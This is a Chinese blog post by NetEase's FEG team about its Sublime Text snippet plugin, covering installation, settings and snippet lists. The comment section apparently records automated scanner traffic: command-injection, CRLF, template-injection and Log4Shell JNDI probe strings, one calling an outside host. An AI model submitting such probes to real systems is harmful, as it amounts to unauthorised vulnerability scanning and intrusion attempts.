做有态度的前端团队

网易FEG前端团队

FEG Snippets - Sublime Plugin

20170116更新

目前最新版本是v1.0.6,新增了cms新闻系统的常用代码块。可以敲fegcms开头,就会快速找到cms相关代码片段。

cms html代码片段

fegcms-keywordInfos:新闻内页关键字列表
fegcms-kindTraceInfos:新闻内页面包线
fegcms-list:新闻列表
fegcms-news:新闻详情
fegcms-pages:新闻分页
fegcms-reNewsInfos:新闻内页相关新闻
fegcms-resourceInfos:新闻内页图片或者视频列表
fegcms-list-old:新闻列表(旧版)
fegcms-news-old:新闻详情(旧版)
fegcms-pages-old:新闻分页(旧版)

cms javascript代码片段

fegcms-newslist:读指定新闻分类
fegcms-newsprenext:读指定新闻的上下篇

20170109更新

今天去逛github,发现FEG Snippets已经通过sublime的官方审核,已经可以通过sublime install package来快速安装啦~

QQ截图20170109143401.png

前言

一直想弄一个我们小组专用的sublime代码片段,这次终于做好了——FEG Snippets,基于sublime text编辑器的FEG代码段。
目前版本的sinppert包含三大部分:HTML、LESS、JAVASCRIPT。主要想通过预设常用的代码片段,解决在做项目时需要经常查看文档来回复制粘贴的问题,同时也能快速普及一些代码的新规范。
先来看个动态效果图:

feg01.gif

上面的gif图展示了分别在html、less和js格式文档下,通过FEG Snippets快速插入一些常用的代码的效果。

如何安装

1、通过sublime远程安装

这种是最方便的安装方式,也是最适合更新的,目前FEG Snippets已经通过sublime官方审核,具体安装操作:

  • 打开sublime,可以通过顶部工具条的 Preferences-> Package Control 或者 Ctrl+Shift+p调出命令版

  • 在命令版搜索 install package,选择 Package Control:Install Package 选项,稍等一会就会打开插件列表了(有些特殊的版本,比如汉化版可能会出现打不开的情况,这种建议装回官方版)

  • 在插件列表搜索 FEG Snippets,直接安装即可

在插件列表搜索没有找到想要的插件,有两种情况:1、插件没有通过官方审核;2、sublime版本问题,旧版本的插件列表数据并非是请求远程更新的,所以这种情况下需要更新一下sublime。更新方式:顶部工具条——Help——check For Updates 更新即可。相关文章【sublime编辑器内搜索不到最新的插件

2、直接下载安装

下载地址:https://github.com/w3cmark/feg-sublime-snippets
可以通过git clone方式或者下载zip方式下载:

QQ截图20161228101851.png

下载后复制里面的三个文件夹:html、less、javascript到sublime的Packages\User文件(可以通过 顶部工具条——Preferences——Browse Packages 打开进入到Packages路径)里就行了:

QQ截图20161228101921.png

QQ截图20161228102000.png

如何使用

上面说了,sinppert包含三大部分:HTML、LESS、JAVASCRIPT,所以一定要在这三种格式文档 一定要在这三种格式文档 一定要在这三种格式文档才能使用到相应的代码片段。

在对应的格式文档里,以feg开头,就会打开输入提示选择框,比如在html格式文档下输入feg-html5去查找html5的代码片段。

为了能看到输入提示,需要改一下sublime的设置,通过 顶部工具条——Preferences——Settings 打开设置文件,在user设置里面加入下面设置即可:

"auto_complete_triggers":
[
    {
        "characters": "<",
        "selector": "text.html"
    },
    {
        "characters": "feg",
        "selector": "text.html"
    },
    {
        "characters": "feg",
        "selector": "source.less"
    },
    {
        "characters": "feg",
        "selector": "source.js"
    }
]

FEG Snippets包含的代码片段列表(我们博客的markdown居然不支持table格式的,只能用图~ (;′⌒`)):

Html

QQ截图20161228110443.png

Less

QQ截图20161228110502.png

Javascript

QQ截图20161228110516.png

结尾

FEG Snippets目前寄存在github上面:https://github.com/w3cmark/feg-sublime-snippets
期待你加入更快捷的敲码的旅程,如果你使用了并且有何疑问和建议都可以在上面 issues 反馈喔。

手机阅读请扫描下方二维码:

已有 97 条评论

  1. 0KeeTeam

    0KeeTeam

  2. 0KeeTeam

    0KeeTeam

  3. 0KeeTeam

    0KeeTeam

    1. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    2. admin|expr 868493982 + 867801002

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    3. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    4. admin&set /A 935842018+947174858

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    5. sjunwdqftsooghnzvqsd

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    6. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    7. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    8. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    9. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    10. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    11. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    12. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    13. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

    14. admin

      12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  4. 0KeeTeam

    0KeeTeam

  5. 0KeeTeam

    0KeeTeam

  6. 0KeeTeam

    0KeeTeam

  7. gtdokzdahecyfijjmver

    0KeeTeam

  8. 0KeeTeam

    0KeeTeam
    CRLF-Header:CRLF-Value

  9. 0KeeTeam

  10. 0KeeTeam

    0KeeTeam

  11. 0KeeTeam

    0KeeTeam

  12. 0KeeTeam

    0KeeTeam

  13. 0KeeTeam

    0KeeTeam
    expr 909462724 + 819917286

  14. 0KeeTeam

    gqabhtncpqudznrirohr

  15. 0KeeTeam

    0KeeTeam|expr 851359611 + 877861889

  16. 0KeeTeam

    mddaksttcjkoxiouvoek

  17. 0KeeTeam

    0KeeTeam

  18. 0KeeTeam

    0KeeTeam

  19. 0KeeTeam

    0KeeTeam

  20. 0KeeTeam

    osijvgxjemdlnpcrzorz

  21. 0KeeTeam

    mqnabmnkrilqxhkrgjmv

  22. 0KeeTeam|expr 983209613 + 865956030

    0KeeTeam

  23. 0KeeTeam%0d%0aCRLF-Header:CRLF-Value

    0KeeTeam

  24. mqnabmnkrilqxhkrgjmv

    0KeeTeam

  25. Crawlergo

    Crawlergo

  26. Crawlergo

    Crawlergo

  27. Crawlergo

    Crawlergo

  28. Crawlergo%0d%0aCRLF-Header:CRLF-Value

    Crawlergo

  29. Crawlergo

  30. Crawlergo

    lxdnsjpmwqhjilhvvwbc

  31. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  32. test

    test

  33. test

    test

  34. test

    test

  35. test

    test

  36. test

    test
    CRLF-Header:CRLF-Value

  37. test

    '+(40483*44549)+'

  38. test

    test

  39. %{42811*42389}

    test

  40. test

    test%0d%0aCRLF-Header:CRLF-Value

  41. test

    test

  42. test

    test

  43. test

    test

  44. test

    test\r\nCRLF-Header:CRLF-Value

  45. Crawlergo

    Crawlergo

  46. Crawlergo

    Crawlergo

  47. Crawlergo

    Crawlergo

  48. Crawlergo

    /1/{{844990560+832568788}}

  49. admin

    admin

  50. admin

    admin

  51. admin

    admin
    CRLF-Header:CRLF-Value

  52. admin

    admin

  53. admin

    admin

  54. ${jndi:ldap://hlepvuzqgtdsocab.author.feg.netease.com.None.log.3l8.pw/a}

    admin

  55. test

    test

  56. test

    test

  57. %{42813*44683}

    test

  58. test

    test

  59. test

    test

  60. test

    test

  61. test

    test

  62. test

    test

  63. test

    test

  64. test

    test

  65. test

    test

  66. test

    test

  67. test

    test

  68. test

    test

  69. test

    test

  70. %{42639*41311}

    test

  71. test

    test

  72. test

    test

  73. test

    test

  74. test

    test

  75. amythbtocawboqogzzns

    test

  76. test

  77. /*1*/{{944713924+943294579}}

    test

  78. test

    test

  79. test

    test

  80. test

    test

  81. test

    test

  82. test

    test

添加新评论

ali-40.gifali-41.gifali-42.gifali-43.gifali-44.gifali-45.gifali-46.gifali-47.gifali-48.gifali-49.gifali-50.gifali-51.gifali-52.gifali-53.gifali-54.gifali-55.gifali-56.gifali-57.gifali-58.gifali-59.gifali-60.gifali-61.gif